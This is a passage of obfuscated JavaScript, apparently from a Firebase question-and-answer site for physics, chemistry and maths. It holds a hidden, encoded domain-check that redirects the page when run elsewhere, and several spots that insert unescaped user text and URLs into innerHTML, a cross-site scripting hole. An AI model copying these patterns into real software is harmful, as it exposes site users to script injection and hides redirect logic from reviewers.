_0x17fe5e=createQuestionCard(_0x44292a['id'],_0xa628c);_0x440751[_0x52dc2b(0xfc)](_0x17fe5e);}}),lastDoc=_0x3e804b[_0x7887b6(0x8e)][_0x3e804b[_0x7887b6(0x8e)][_0x7887b6(0xcf)]-0x1],_0x50150c[_0x7887b6(0xa5)][_0x7887b6(0xdb)]('hidden',_0x3e804b[_0x7887b6(0x8e)][_0x7887b6(0xcf)]<QUESTIONS_PER_PAGE),MathJax[_0x7887b6(0x84)][_0x7887b6(0x9d)](['Typeset',MathJax[_0x7887b6(0x84)]]);}catch(_0x1fc143){console['error'](_0x7887b6(0xf2),_0x1fc143),!_0x13cdb0&&(_0x440751[_0x7887b6(0xa1)]='\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<div\x20class=\x22bg-red-50\x20p-4\x20rounded-lg\x22>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<p\x20class=\x22text-red-500\x22>Error\x20searching\x20questions.\x20Please\x20try\x20again.</p>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20'+(_0x1fc143[_0x7887b6(0xf1)][_0x7887b6(0xb4)](_0x7887b6(0x11e))?_0x7887b6(0x73)+_0x1fc143[_0x7887b6(0xf1)][_0x7887b6(0x10d)](_0x7887b6(0xb9))[0x1]+'\x22\x20\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20target=\x22_blank\x22\x20\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20class=\x22text-blue-500\x20hover:underline\x22>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20Click\x20here\x20to\x20create\x20the\x20required\x20index\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20</a>':'')+'\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20</div>');}}async function createArchiveIndexes(){const _0x1180b2=_0x1f16d9;try{await db[_0x1180b2(0x108)](_0x1180b2(0x6c))[_0x1180b2(0xaf)](_0x1180b2(0xce),'==',!![])['orderBy'](_0x1180b2(0x9e),_0x1180b2(0x121))[_0x1180b2(0xa4)](0x1)[_0x1180b2(0x114)](),await db[_0x1180b2(0x108)]('questions')['where'](_0x1180b2(0xad),'==',0x0)['orderBy']('timestamp','desc')[_0x1180b2(0xa4)](0x1)['get']();}catch(_0x1d4442){console[_0x1180b2(0xa3)](_0x1180b2(0x66));}}function loadMoreArchive(){searchQuestions(!![]);}document[_0x1f16d9(0xac)]('searchInput')?.[_0x1f16d9(0x103)](_0x1f16d9(0xb8),_0x5e5155=>{const _0x34c672=_0x1f16d9;_0x5e5155[_0x34c672(0xe5)]===_0x34c672(0xe7)&&searchQuestions();}),addArchiveTab();async function loadRecentAnswers(){const _0x3fb41d=_0x1f16d9,_0x244982=document[_0x3fb41d(0xac)](_0x3fb41d(0x110));_0x244982['innerHTML']=_0x3fb41d(0xdd);try{const _0x34af26=await db[_0x3fb41d(0x108)](_0x3fb41d(0x6c))[_0x3fb41d(0xaf)](_0x3fb41d(0xce),'==',!![])[_0x3fb41d(0x119)](_0x3fb41d(0xab),_0x3fb41d(0x121))[_0x3fb41d(0xa4)](0x5)[_0x3fb41d(0x114)]();if(_0x34af26[_0x3fb41d(0xe6)]){_0x244982['innerHTML']='<p\x20class=\x22text-gray-500\x22>No\x20answered\x20questions\x20found.</p>';return;}_0x244982[_0x3fb41d(0xa1)]='',_0x34af26[_0x3fb41d(0xa0)](_0x44d261=>{const _0x5b8cbb=_0x3fb41d,_0x50b5e2=_0x44d261[_0x5b8cbb(0x68)]();_0x50b5e2['answers']&&_0x50b5e2[_0x5b8cbb(0xd0)][_0x5b8cbb(0xcf)]>0x0&&_0x244982[_0x5b8cbb(0xfc)](createQuestionCard(_0x44d261['id'],_0x50b5e2,!![]));}),MathJax['Hub'][_0x3fb41d(0x9d)](['Typeset',MathJax[_0x3fb41d(0x84)]]);}catch(_0x3f7c42){console[_0x3fb41d(0xd5)]('Error\x20loading\x20recent\x20answers:',_0x3f7c42),_0x244982[_0x3fb41d(0xa1)]=_0x3fb41d(0x71);}}function reloadCurrentView(){const _0x35d6f0=_0x1f16d9,_0x3185f8=document[_0x35d6f0(0xf3)](_0x35d6f0(0xb3)),_0x5697f0=_0x3185f8?_0x3185f8[_0x35d6f0(0x116)](_0x35d6f0(0xea)):'feed';switch(_0x5697f0){case'unanswered':loadUnansweredQuestions();break;case _0x35d6f0(0x117):searchQuestions();break;case'feed':default:loadContent();break;}}async function loadUnansweredQuestions(){const _0x2ab788=_0x1f16d9,_0x222282=document[_0x2ab788(0xac)](_0x2ab788(0xcd));_0x222282[_0x2ab788(0xa1)]='<div\x20class=\x22loading\x22>Loading...</div>';try{const _0x480478=await db[_0x2ab788(0x108)](_0x2ab788(0x6c))[_0x2ab788(0xaf)]('answersCount','==',0x0)[_0x2ab788(0x119)]('timestamp',_0x2ab788(0x121))[_0x2ab788(0x114)]();if(_0x480478['empty']){_0x222282[_0x2ab788(0xa1)]=_0x2ab788(0x11c);return;}_0x222282[_0x2ab788(0xa1)]='',_0x480478[_0x2ab788(0xa0)](_0x2f2c3c=>{const _0x14b826=_0x2ab788,_0x19e5c3=createQuestionCard(_0x2f2c3c['id'],_0x2f2c3c[_0x14b826(0x68)]());_0x222282['appendChild'](_0x19e5c3);}),MathJax['Hub']['Queue'](['Typeset',MathJax[_0x2ab788(0x84)]]);}catch(_0x164f75){console['error'](_0x2ab788(0xcc),_0x164f75),_0x222282[_0x2ab788(0xa1)]=_0x2ab788(0x12b)+_0x164f75['message']['split']('create\x20it\x20here:\x20')[0x1]+_0x2ab788(0x11d);}}function createQuestionCard(_0x111048,_0x27013e,_0x14cd71=![]){const _0x3b103a=_0x1f16d9,_0x2836b0=document[_0x3b103a(0xda)]('div');_0x2836b0[_0x3b103a(0xae)]='question-card\x20bg-white\x20rounded-lg\x20shadow-md\x20p-6\x20mb-4\x20fade-enter';let _0x2c1c99='';_0x27013e[_0x3b103a(0x118)]&&(_0x27013e[_0x3b103a(0x118)]['match'](/\.(jpg|jpeg|png|gif)$/i)?_0x2c1c99='\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<div\x20class=\x22mt-4\x22>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<img\x20src=\x22'+_0x27013e[_0x3b103a(0x118)]+_0x3b103a(0xde):_0x2c1c99=_0x3b103a(0x11a)+_0x27013e[_0x3b103a(0x118)]+_0x3b103a(0xca));const _0x5e618a=_0x27013e[_0x3b103a(0x9e)]?new Date(_0x27013e[_0x3b103a(0x9e)][_0x3b103a(0x125)]*0x3e8)['toLocaleString']():_0x3b103a(0x6b),_0x5369dc=_0x27013e[_0x3b103a(0xd0)]?.[_0x3b103a(0x126)](_0x24a89a=>_0x24a89a[_0x3b103a(0x10e)]===auth[_0x3b103a(0x97)]['uid']),_0x3ae1bc=!!_0x5369dc;return _0x2836b0['innerHTML']=_0x3b103a(0xdc)+_0x27013e[_0x3b103a(0x67)]+_0x3b103a(0x85)+_0x27013e[_0x3b103a(0x86)]+_0x3b103a(0x10f)+_0x5e618a+'</span>\x0a\x20\x20\x20\x20\x20\x20\x20\x20</div>\x0a\x20\x20\x20\x20\x20\x20\x20\x20<div\x20class=\x22mt-4\x22>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<p\x20class=\x22text-gray-800\x22>'+_0x27013e['questionText']+_0x3b103a(0xb2)+_0x2c1c99+'\x0a\x20\x20\x20\x20\x20\x20\x20\x20</div>\x0a\x20\x20\x20\x20\x20\x20\x20\x20'+(_0x14cd71?createAnswersSection(_0x111048,_0x27013e[_0x3b103a(0xd0)]||[]):_0x3ae1bc?createEditAnswerSection(_0x111048,_0x5369dc):_0x27013e['hasAnswers']?_0x3b103a(0xe8):createAnswerForm(_0x111048))+_0x3b103a(0x102),setTimeout(()=>_0x2836b0[_0x3b103a(0xa5)][_0x3b103a(0xbe)](_0x3b103a(0x82)),0x64),_0x2836b0;}function debugFormSubmission(_0x15dfd3){const _0x702c82=_0x1f16d9,_0x408943=document['getElementById'](_0x702c82(0x99)+_0x15dfd3)[_0x702c82(0x11f)][_0x702c82(0xa6)]();console[_0x702c82(0xa3)]('Answer\x20Text:',_0x408943),console[_0x702c82(0xa3)]('Answer\x20Text\x20Element:',document[_0x702c82(0xac)](_0x702c82(0x99)+_0x15dfd3));}function createEditAnswerSection(_0x47ec68,_0x20ee0f){const _0x4170db=_0x1f16d9;return _0x4170db(0xf9)+_0x47ec68+_0x4170db(0xf7)+_0x20ee0f[_0x4170db(0x106)]+'</textarea>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20</div>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<div>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<input\x20type=\x22file\x22\x20\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20id=\x22answerFile_'+_0x47ec68+_0x4170db(0xc0)+(_0x20ee0f[_0x4170db(0x118)]?_0x4170db(0x131)+_0x20ee0f[_0x4170db(0x118)]+_0x4170db(0x10c):'')+_0x4170db(0x80)+_0x47ec68+'\x22\x20class=\x22mt-2\x22></div>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20</div>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<button\x20onclick=\x22updateAnswer(\x27'+_0x47ec68+_0x4170db(0x6a);}async function updateAnswer(_0x1cc2a1){const _0x54d9ce=_0x1f16d9,_0x603027=document[_0x54d9ce(0xac)](_0x54d9ce(0x9c)+_0x1cc2a1)[_0x54d9ce(0x11f)],_0x2d4334=document[_0x54d9ce(0xf3)](_0x54d9ce(0xc8)+_0x1cc2a1)[_0x54d9ce(0x93)][0x0];if(!_0x603027){alert(_0x54d9ce(0xf8));return;}try{let _0x321233='';if(_0x2d4334){const _0x33de88=storage[_0x54d9ce(0x111)](_0x54d9ce(0xfb)+Date['now']()+'_'+_0x2d4334[_0x54d9ce(0x90)]);await _0x33de88[_0x54d9ce(0xf4)](_0x2d4334),_0x321233=await _0x33de88[_0x54d9ce(0x7e)]();}const _0x236a6e=db[_0x54d9ce(0x108)]('questions')[_0x54d9ce(0xbd)](_0x1cc2a1),_0x1a3048=await _0x236a6e[_0x54d9ce(0x114)](),_0xcdc567=_0x1a3048[_0x54d9ce(0x68)](),_0x3a250f=_0xcdc567['answers'][_0x54d9ce(0xc4)](_0xe87dc1=>{const _0x4bcdbd=_0x54d9ce;if(_0xe87dc1[_0x4bcdbd(0x10e)]===auth[_0x4bcdbd(0x97)][_0x4bcdbd(0xd6)])return{..._0xe87dc1,'text':_0x603027,'fileURL':_0x321233||_0xe87dc1[_0x4bcdbd(0x118)],'lastEdited':new Date()[_0x4bcdbd(0xe4)]()};return _0xe87dc1;});await _0x236a6e[_0x54d9ce(0x79)]({'answers':_0x3a250f,'lastAnswerTimestamp':firebase['firestore']['FieldValue'][_0x54d9ce(0x8c)]()}),alert(_0x54d9ce(0x127)),reloadCurrentView();}catch(_0x4733da){console[_0x54d9ce(0xd5)](_0x54d9ce(0x129),_0x4733da),alert(_0x54d9ce(0xbb));}}function _0x2f9a(_0x133905,_0x1cf9da){const _0x255345=_0x5d7e();return _0x2f9a=function(_0x13ac64,_0x3adae7){_0x13ac64=_0x13ac64-0x65;let _0x4c3a3a=_0x255345[_0x13ac64];return _0x4c3a3a;},_0x2f9a(_0x133905,_0x1cf9da);}function createAnswerForm(_0x3b8e9e){const _0x2d0195=_0x1f16d9;return _0x2d0195(0xfd)+_0x3b8e9e+'\x22\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20class=\x22w-full\x20rounded-md\x20border-gray-300\x20shadow-sm\x20focus:border-green-500\x20focus:ring-green-500\x22\x20\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20rows=\x223\x22\x20\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20placeholder=\x22Write\x20your\x20answer\x20here.\x20Use\x20$$...$$for\x20equations\x22></textarea>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20</div>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<div>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<input\x20type=\x22file\x22\x20\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20id=\x22answerFile_'+_0x3b8e9e+'\x22\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20class=\x22block\x20w-full\x20text-sm\x20text-gray-500\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20file:mr-4\x20file:py-2\x20file:px-4\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20file:rounded-full\x20file:border-0\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20file:text-sm\x20file:font-semibold\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20file:bg-green-50\x20file:text-green-700\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20hover:file:bg-green-100\x22>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<div\x20id=\x22answerFilePreview_'+_0x3b8e9e+_0x2d0195(0x134)+_0x3b8e9e+_0x2d0195(0xbf);}function addArchiveTab(){const _0x25efa6=_0x1f16d9,_0x39079c=(function(){let _0x430555=!![];return function(_0x102574,_0x57fdc2){const _0x2807a3=_0x430555?function(){const _0x2d259e=_0x2f9a;if(_0x57fdc2){const _0x30bbed=_0x57fdc2[_0x2d259e(0x128)](_0x102574,arguments);return _0x57fdc2=null,_0x30bbed;}}:function(){};return _0x430555=![],_0x2807a3;};}()),_0x161766=_0x39079c(this,function(){const _0x31d7c0=_0x2f9a;let _0x24e978;try{const _0x50cc90=Function(_0x31d7c0(0x113)+_0x31d7c0(0x87)+');');_0x24e978=_0x50cc90();}catch(_0x29b9e9){_0x24e978=window;}const _0x2e597d=new RegExp(_0x31d7c0(0x94),'g'),_0x4f62c5=_0x31d7c0(0xc3)['replace'](_0x2e597d,'')[_0x31d7c0(0x10d)](';');let _0x3dc84d,_0xbb4357,_0xcc914a,_0x39f66f;const _0x2985c6=function(_0x46ba3f,_0x51eeac,_0x484904){const _0x505541=_0x31d7c0;if(_0x46ba3f[_0x505541(0xcf)]!=_0x51eeac)return![];for(let _0x245605=0x0;_0x245605<_0x51eeac;_0x245605++){for(let _0x3c427c=0x0;_0x3c427c<_0x484904[_0x505541(0xcf)];_0x3c427c+=0x2){if(_0x245605==_0x484904[_0x3c427c]&&_0x46ba3f[_0x505541(0x74)](_0x245605)!=_0x484904[_0x3c427c+0x1])return![];}}return!![];},_0xa23ced=function(_0x471127,_0x31d691,_0x5a64cb){return _0x2985c6(_0x31d691,_0x5a64cb,_0x471127);},_0x2650f6=function(_0xed7fe5,_0x4a85c0,_0x565176){return _0xa23ced(_0x4a85c0,_0xed7fe5,_0x565176);},_0x23eb5d=function(_0x42533e,_0x850de0,_0x369ec8){return _0x2650f6(_0x850de0,_0x369ec8,_0x42533e);};for(let _0x3f9cf0 in _0x24e978){if(_0x2985c6(_0x3f9cf0,0x8,[0x7,0x74,0x5,0x65,0x3,0x75,0x0,0x64])){_0x3dc84d=_0x3f9cf0;break;}}for(let _0x57a7fd in _0x24e978[_0x3dc84d]){if(_0x23eb5d(0x6,_0x57a7fd,[0x5,0x6e,0x0,0x64])){_0xbb4357=_0x57a7fd;break;}}for(let _0x7fc81d in _0x24e978[_0x3dc84d]){if(_0x2650f6(_0x7fc81d,[0x7,0x6e,0x0,0x6c],0x8)){_0xcc914a=_0x7fc81d;break;}}if(!('~'>_0xbb4357))for(let _0x41e6b3 in _0x24e978[_0x3dc84d][_0xcc914a]){if(_0xa23ced([0x7,0x65,0x0,0x68],_0x41e6b3,0x8)){_0x39f66f=_0x41e6b3;break;}}if(!_0x3dc84d||!_0x24e978[_0x3dc84d])return;const _0x2acb07=_0x24e978[_0x3dc84d][_0xbb4357],_0x22b295=!!_0x24e978[_0x3dc84d][_0xcc914a]&&_0x24e978[_0x3dc84d][_0xcc914a][_0x39f66f],_0x452bd5=_0x2acb07||_0x22b295;if(!_0x452bd5)return;let _0x2a068e=![];for(let _0xad2666=0x0;_0xad2666<_0x4f62c5[_0x31d7c0(0xcf)];_0xad2666++){const _0x3cad24=_0x4f62c5[_0xad2666],_0xad17a3=_0x3cad24[0x0]===String[_0x31d7c0(0xaa)](0x2e)?_0x3cad24['slice'](0x1):_0x3cad24,_0x279137=_0x452bd5[_0x31d7c0(0xcf)]-_0xad17a3['length'],_0x1c9cf1=_0x452bd5['indexOf'](_0xad17a3,_0x279137),_0xd8c6b3=_0x1c9cf1!==-0x1&&_0x1c9cf1===_0x279137;_0xd8c6b3&&((_0x452bd5[_0x31d7c0(0xcf)]==_0x3cad24[_0x31d7c0(0xcf)]||_0x3cad24['indexOf']('.')===0x0)&&(_0x2a068e=!![]));}if(!_0x2a068e){const _0x23056d=new RegExp(_0x31d7c0(0xf0),'g'),_0x4043a2=_0x31d7c0(0xe1)[_0x31d7c0(0x91)](_0x23056d,'');_0x24e978[_0x3dc84d][_0xcc914a]=_0x4043a2;}});_0x161766();const _0x93b614=document[_0x25efa6(0xf3)]('.flex.space-x-8');_0x93b614[_0x25efa6(0xa1)]+='\x0a\x20\x20\x20\x20\x20\x20\x20\x20<button\x20onclick=\x22switchTab(\x27archive\x27)\x22\x20class=\x22tab-button\x20px-4\x20py-2\x20text-lg\x20font-medium\x22\x20data-tab=\x22archive\x22>Archive</button>\x0a\x20\x20\x20\x20';const _0x238d99=document[_0x25efa6(0xf3)](_0x25efa6(0x123));_0x238d99['innerHTML']+='\x0a\x20\x20\x20\x20\x20\x20\x20\x20<div\x20id=\x22archiveView\x22\x20class=\x22tab-content\x20hidden\x22>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<div\x20class=\x22bg-white\x20rounded-lg\x20shadow\x20p-6\x22>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<div\x20class=\x22mb-6\x22>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<input\x20type=\x22text\x22\x20id=\x22searchInput\x22\x20\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20class=\x22w-full\x20rounded-md\x20border-gray-300\x20shadow-sm\x20focus:border-green-500\x20focus:ring-green-500\x22\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20placeholder=\x22Search\x20questions\x20by\x20subject,\x20chapter,\x20or\x20content...\x22>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<div\x20class=\x22mt-4\x20flex\x20space-x-4\x22>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<select\x20id=\x22subjectFilter\x22\x20class=\x22rounded-md\x20border-gray-300\x20shadow-sm\x20focus:border-green-500\x20focus:ring-green-500\x22>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<option\x20value=\x22\x22>All\x20Subjects</option>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<option\x20value=\x22PHYSICS\x22>Physics</option>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<option\x20value=\x22CHEMISTRY\x22>Chemistry</option>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<option\x20value=\x22MATHS\x22>Mathematics</option>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20</select>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<select\x20id=\x22answerStatusFilter\x22\x20class=\x22rounded-md\x20border-gray-300\x20shadow-sm\x20focus:border-green-500\x20focus:ring-green-500\x22>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<option\x20value=\x22\x22>All\x20Questions</option>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<option\x20value=\x22answered\x22>Answered</option>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<option\x20value=\x22unanswered\x22>Unanswered</option>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20</select>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<button\x20onclick=\x22searchQuestions()\x22\x20class=\x22bg-green-600\x20text-white\x20px-4\x20py-2\x20rounded-md\x20hover:bg-green-700\x22>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20Search\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20</button>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20</div>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20</div>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<div\x20id=\x22archiveQuestions\x22\x20class=\x22space-y-4\x22></div>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<div\x20class=\x22mt-4\x20flex\x20justify-center\x22>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<button\x20id=\x22loadMoreBtn\x22\x20onclick=\x22loadMoreArchive()\x22\x20class=\x22bg-gray-100\x20text-gray-700\x20px-4\x20py-2\x20rounded-md\x20hover:bg-gray-200\x20hidden\x22>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20Load\x20More\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20</button>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20</div>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20</div>\x0a\x20\x20\x20\x20\x20\x20\x20\x20</div>\x0a\x20\x20\x20\x20';}function createAnswersSection(_0x148775,_0xc344fd){const _0x51f954=_0x1f16d9,_0x18d74f=document[_0x51f954(0xda)]('div');_0x18d74f[_0x51f954(0xae)]='mt-6\x20border-t\x20pt-4';const _0x5c378a=_0xc344fd[_0x51f954(0xc4)]((_0x311523,_0x2f3cec)=>{const _0x397d88=_0x51f954,_0x50dfd4=_0x311523['timestamp']?new Date(_0x311523[_0x397d88(0x9e)]['seconds']*0x3e8)[_0x397d88(0x70)]():'Just\x20now';let _0x2e6a6a='';return _0x311523['fileURL']&&(_0x311523['fileURL']['match'](/\.(jpg|jpeg|png|gif)$/i)?_0x2e6a6a=_0x397d88(0x89)+_0x311523['fileURL']+'\x22\x20alt=\x22Answer\x20attachment\x22\x20class=\x22max-w-xs\x20rounded-lg\x22>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20</div>':_0x2e6a6a='\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<div\x20class=\x22mt-2\x22>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<a\x20href=\x22'+_0x311523[_0x397d88(0x118)]+_0x397d88(0x7c)),'\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<div\x20class=\x22bg-gray-50\x20rounded-lg\x20p-4\x20mb-4\x22>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<div\x20class=\x22flex\x20justify-between\x20items-start\x22>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<p\x20class=\x22text-gray-800\x22>'+_0x311523['text']+_0x397d88(0x83)+_0x50dfd4+'</span>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20</div>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20'+_0x2e6a6a+'\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20</div>\x0a\x20\x20\x20\x20\x20\x20\x20\x20';})[_0x51f954(0x12e)]('');return _0x18d74f[_0x51f954(0xa1)]='\x0a\x20\x20\x20\x20\x20\x20\x20\x20<h3\x20class=\x22text-lg\x20font-medium\x20text-gray-900\x20mb-4\x22>Answers\x20('+_0xc344fd[_0x51f954(0xcf)]+')</h3>\x0a\x20\x20\x20\x20\x20\x20\x20\x20'+_0x5c378a+_0x51f954(0x77)+createAnswerForm(_0x148775)['innerHTML']+_0x51f954(0x102),_0x18d74f;}function handleFilePreview(_0x57175f,_0x53d3a4){const _0x271e79=_0x1f16d9,_0x4d572f=_0x57175f[_0x271e79(0xee)][_0x271e79(0x93)][0x0],_0x55d8ee=document['getElementById'](_0x53d3a4);if(_0x4d572f){if(_0x4d572f[_0x271e79(0xb1)]['startsWith']('image/')){const _0x571b13=new FileReader();_0x571b13['onload']=function(_0xaa9165){const _0x181e93=_0x271e79;_0x55d8ee['innerHTML']='\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<img\x20src=\x22'+_0xaa9165[_0x181e93(0xee)][_0x181e93(0xef)]+_0x181e93(0x120);},_0x571b13[_0x271e79(0x8a)](_0x4d572f);}else _0x55d8ee[_0x271e79(0xa1)]='\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<div\x20class=\x22text-sm\x20text-gray-600\x20mt-2\x22>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20Selected\x20file:\x20'+_0x4d572f[_0x271e79(0x90)]+'\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20</div>';}else _0x55d8ee[_0x271e79(0xa1)]='';}async function submitAnswer(_0x3dfdf9){const 